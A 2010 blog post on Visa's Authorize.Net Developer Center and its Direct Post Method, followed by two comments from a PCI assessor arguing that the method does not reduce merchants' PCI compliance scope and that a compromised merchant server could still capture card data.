Visa Opens World’s Leading Payments Network to Independent Developers
Visa has announced a number of enhancements to the Authorize.Net Developer Center, a resource that enables "independent developers to create applications supporting electronic payments and related services for major payment networks including VisaNet." The Developer Center builds on Authorize.Net’s existing platform, which Visa acquired as part of the purchase of CyberSource earlier this year.
Besides an improved developer program, what's new here is a PCI-friendly card acceptance technique called the Direct Post Method. "Because customer billing data posts directly to Authorize.Net without touching the merchant server, the merchant can retain control over the receipting experience without incurring PCI DSS overhead."
I cannot see how this solution reduces any scope for PCI compliance for the merchants ecommerce server. Their server is still hosting the payment order forms, establishing the session the customer is submitting the payment card data through (from their browser) and the merchant server is establishing the connection to the Authorize.Net gateway using the DPM method and passing the CC data.
This does not provide any reduction in PCI compliance scope for the merchants server or hosting environment compared to any other gateway post method API. It seems very miss-leading to compare this to a hosted order form service where all capture and processing is done in a PCI compliant environment and on PCI compliant hosts communicating directly with a consumer through a secure session. This solution may achieve ease of implementation but has no benefit to security or compliance. As a QSA working in PCI compliance for over 7 years I can tell this would not reduce a merchants scope for any SAQ or ROC that I would sign off on.
Posted by: Kennet Westby | November 04, 2010 at 10:30 AM
To clarify my earlier comment, the merchant server is still in scope because they are establishing the payment session with the customer, presenting the payment form and defining the posting logic from the customer to the DPM. If I have a compromised merchant ecommerce server there is no expectation of secure payment or PCI compliance. With a hosted order page method (SIM) you can have a compromised server and the consumer will have an opportunity to abort a fraudulent transaction if presented with another payment form or redirected to another site.
In the DPM solution the customer is presented that they are always communicating credit card data securely. However the context of the security is completely controlled by the merchant's server. A compromised merchant server with a couple of lines of code would mean that any consumer data entered through this method would be compromised. The customer would have no way of knowing. We all know that many small ecommerce merchants are hosting their sites on non-PCI compliant hosts and without proper environmental security. Many times you will find wide open systems with unauthenticated FTP to shared servers.
The SIM method and any PCI compliant hosted order page method allows the merchant to remove their servers from scope because they are no longer controlling the payment transaction. The payment transaction is set-up from start to finish between the consumer and the PCI compliant service provider. The consumer has a way to validate this through their browser to confirm certificate and transmission security. The DPM method does not provide this protection to consumers and can present a false sense of security and compliance to both merchant and consumer.
Posted by: Kennet Westby | November 04, 2010 at 11:35 AM